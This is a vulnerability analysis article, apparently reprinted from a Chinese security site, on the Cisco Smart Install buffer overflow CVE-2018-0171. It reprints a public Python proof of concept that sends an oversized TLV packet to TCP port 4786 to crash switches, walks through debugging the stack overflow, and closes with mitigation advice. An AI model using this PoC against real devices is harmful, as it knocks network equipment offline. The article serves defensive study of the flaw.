0x00 Vulnerability Background
At the 2017 GeekPwn Hong Kong station, Russian security researcher George Nosenko successfully demonstrated the Cisco Smart Install buffer overflow vulnerability (CVE-2018-0171) and won the Best Technology Award, and the information about the vulnerability was also submitted to Cisco. On March 28, 2018, Cisco released a patch for this vulnerability in the official security update, and then the EMBEDI official blog also updated some technical details, PoC code and demonstration video materials of the vulnerability.
From what has been published, this vulnerability is a buffer overflow-based remote code execution vulnerability that affects multiple versions of Cisco IOS and IOS XE software. At the same time, the switch device running the corresponding software needs to enable the Smart Install function. If the vulnerability is successfully exploited by an attacker, it could crash the device or allow the attacker to bypass authentication and execute code remotely, thereby taking control of the device and enabling further attacks. In order to explore the principle and debugging analysis method of Cisco switch equipment IOS system firmware vulnerability, this paper analyzes the cause of the vulnerability and the potential exploitation process based on the public information, presents some technical details, and puts forward security suggestions for the related risks of Smart Install.
A brief introduction to the 0x01 vulnerability
1. About Smart Install
Smart Install is a remote, automated deployment (zero-touch) Cisco switch configuration and management solution with a network consisting of one Smart Install Director (also known as Integrated Branch Manager, IBD) and several switches serving as Smart Install Clients (also known as IBC) composition. The Smart Install function is enabled by default on the client side without any configuration and does not require user authentication. The configuration files and firmware images on the TFTP server can be assigned to the client through commands for configuration and deployment. The configuration information and mirroring information are stored in the database.
Since the SMI protocol does not require authentication, many things can be done by constructing TCP packets, such as:
替换客户端配置信息中的TFTP服务器地址；
替换客户端配置文件为TFTP服务器的文件；
命令客户端下载TFTP服务器的固件并升级；
在客户端执行部分命令(部分新版本可用)；
……
Therefore, even if there are no loopholes, the Smart Install protocol itself will have many security risks if it is not well managed.
2. CVE-2018-0171 Vulnerability Principle
CVE-2018-0171 is a remote code execution vulnerability that exists in the process of parsing Smart Install protocol requests by Cisco switch devices with the Smart Install feature installed. Because the device lacks the verification of the data content when parsing the Smart Install request, the attacker can cause a buffer overflow by freely controlling the number of memcpy bytes by sending a carefully constructed data packet to the device's TCP 4786 port. The vulnerability may affect devices as follows:
设备崩溃并重载；
在设备上造成无限循环，触发WatchDog机制；
绕过验证执行任意代码。
3. Scope of influence
According to Cisco's official statement, devices configured as Smart Install Director will not be affected by the vulnerability, only devices configured with Smart Install Client will be affected by the vulnerability. The affected devices and software versions are as follows:
0x02 Vulnerability Analysis
1. Prepare the debugging environment
The debugging environment is as follows:
设备型号 Cisco Catalyst 2960-S
固件版本 c2960s-universalk9-mz.122-55.SE7.bin
动态调试工具 IODIDE & gdb
静态调试工具 IDA Pro
Cisco's higher version firmware no longer provides gdb kernel command support, but the firmware can be started in debug mode by modifying the boot parameters. Specifically for the Catalyst 2960: boot into recovery mode, and type the following command sequence:
flash_init
boot –n path_to_image（当镜像路径为空时，启动默认镜像）
After the device is started, you can use the gdb serial port to connect and debug remotely.
2. PoC code analysis
The PoC code made public by the researchers looks like this:
# smi_ibc_init_discovery_BoF.py
import socket
import struct
from optparse import OptionParser
# Parse the target options
parser = OptionParser()
parser.add_option("-t", "--target", dest="target", help="Smart Install Client", default="192.168.1.2")
parser.add_option("-p", "--port", dest="port", type="int", help="Port of Client", default=4786)
(options, args) = parser.parse_args()
def craft_tlv(t, v, t_fmt='!I', l_fmt='!I'):
return struct.pack(t_fmt, t) + struct.pack(l_fmt, len(v)) + v
def send_packet(sock, packet):
sock.send(packet)
def receive(sock):
return sock.recv()
if __name__ == "__main__":
print "[*] Connecting to Smart Install Client ", options.target, "port", options.port
con = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
con.connect((options.target, options.port))
payload = 'BBBB' * 44
shellcode = 'D' * 2048
data = 'A' * 36 + struct.pack('!I', len(payload) + len(shellcode) + 40) + payload
tlv_1 = craft_tlv(0x00000001, data)
tlv_2 = shellcode
hdr = 'x00x00x00x01' # msg_from
hdr += 'x00x00x00x01' # version
hdr += 'x00x00x00x07' # msg_hdr_type
hdr += struct.pack('>I', len(data)) # data_length
pkt = hdr + tlv_1 + tlv_2
for i in range(len(pkt)):
print ord(pkt[i])
print "[*] Send a malicious packet"
send_packet(con, pkt)
In the above code, we see that the author uses TLV, the sequence of Type-Length-Value, to encapsulate the data packet. 
The value in TLV_1 consists of 36 consecutive "A", len(payload) + len(shellcode) + 40 and 176 consecutive "B".
The reason for constructing the data packet in this way will be further explained in the Vulnerability Principle Analysis section.
3. Capture packets
4. Vulnerability principle analysis and debugging
Start the switch and configure the LAN, and then run the PoC code on the device in the LAN, causing the device to crash and restart. Part of the Crash Info is as follows: 
According to the information related to the call stack in the crash information, it is confirmed that the WatchDog mechanism should be triggered by an infinite loop, causing the system Force restart.
Through static analysis of the code and dynamic debugging of PoC, we determined that the vulnerability is generated in the smi_ibc_handle_ibd_init_discovery_msg function, which is the SUB_B258CC function in this image. The code flow of the function is as follows: 
Combined with the results of PoC code, static analysis and dynamic debugging, the parameters of the function are as follows: 
the first parameter: the pointer to the type in the TLV sequence;
the second parameter: the TLV sequence length;
the third parameter: a pointer to the four flag information msg_from | version | msg_hdr_type | data_length in the header of the data packet; 
the fourth parameter: a pointer to the TLV sequence. 
The function will first determine whether the length of data is 0. If it is not 0, it will use a do-while loop structure to parse and store the contents of the data packet, and the vulnerability also occurs in this loop structure. 
From the code logic in the above figure, the code will first determine whether tlv_type is 1. If it is 1, it will take out the information of tlv_length. If tlv_length is not 0, it will be reserved and passed to memcpy as a parameter to limit the payload to be copied. length.
In this process, the problem will arise: when the device parses the data packet, it will take out the length of the byte stream to be stored from the data packet, and copy the data of the corresponding number of bytes without verification. However, the destination address is a local variable stored in the stack frame. If the length of the bytes taken out from the data packet reaches a certain value, the stack frame of the function may be destroyed due to the excessive data length, resulting in stack overflow.
In the process of debugging the PoC code, it can be seen from the above interpretation of the PoC code: when the device affected by the vulnerability parses the data packet constructed by the PoC code, it will take out 0xd8 as the parameter of memcpy to copy the payload, and the SUB_B258CC function opens up The stack frame size is 0x58. After executing the memcpy operation, the current stack frame overflows. The following two figures are the parameters of memcpy and the process of the stack being destroyed after the function is executed. 
The above figure shows that the content of 0xd8 bytes starting at 0x318e890 will be copied to the buffer starting at 0x3df24a8 in the stack frame. 
The above picture shows the content of the function stack frame after the memcpy operation. The stack frame of this function is 0x58 bytes in size, which obviously has caused a buffer overflow, and 0x42424242 overwrites the pointer to the execution code area after the function returns. At this point, the analysis of the buffer overflow process is completed.
0x03 Summary
As usual, every time a remote code execution vulnerability is exposed in Cisco network equipment, there is a lot of attention. In particular, the recent incident of the JHT organization hijacking a large number of Cisco switch equipment in Russia and Iran. Although these incidents have been widely discussed in the industry, it has been shown that the attacker's attack method is likely to be derived from the misuse of the Smart Install protocol, and the attack process does not require remote code execution, but the incident still raises the importance of CVE-2018-0171 Degree.
At present, more than 150,000 Cisco devices with Smart Install Client enabled can still be retrieved from the Shodan system. Although there is no public exploit tool yet, from the perspective of vulnerability analysis, there are also several processes that need to be completed in the process of exploit implementation, such as bypassing DEP, laying out shellcode, and bypassing the WatchDog mechanism. , it is only a matter of time to bypass the device authentication module to realize the privileged login of the device through the execution of the shellcode.
The SMI protocol does not rely on authentication, which may lead to unauthorized access to the device. If the Smart Install function is improperly configured and used, even if there is no such vulnerability, it will also cause the risk of malicious operations by unauthorized access mentioned above, resulting in configuration files. disclosure or modification.
To sum up, the suggestions for network security operation and maintenance management are as follows:
1. If the Smart Install function is not required or is only used for initial automatic deployment of network devices, use the no vstack command to disable the Smart Install function after deployment, especially if there is an external network online However, it should be noted that some versions cannot be persistent due to no vstack, and need to be reconfigured after restarting.
2. If you need to enable the Smart Install function for a long time, you need to make necessary interface ACL restrictions on the relevant Client devices, and filter out Smart Install. TCP 4786 port traffic other than Director, or restricted by Control Panel Policy (CoPP);
3. If conditions permit, patch and upgrade the devices affected by the vulnerability as soon as possible;
4. Use Cisco's new Plug and Play (Cisco Network Plug and Play) solution instead of the Smart Install feature.
References
https://embedi.com/blog/cisco-smart-install-remote-code-execution/
https://github.com/nccgroup/IODIDE
https://tools.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-20180328-smi2
https://tools.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-20170214-smi
https://www.cisco.com/c/en/us/td/docs/solutions/Enterprise/Plug-and-Play/solution/guidexml/b_pnp-solution-guide.html
http://cert.europa.eu/static/SecurityAdvisories/2017/CERT-EU-SA2017-003.pdf
reprinted , please refer to the reprint statement and indicate the source: https://www.anquanke.com/post/id/105473
Anquanke - Thoughtful Security New Media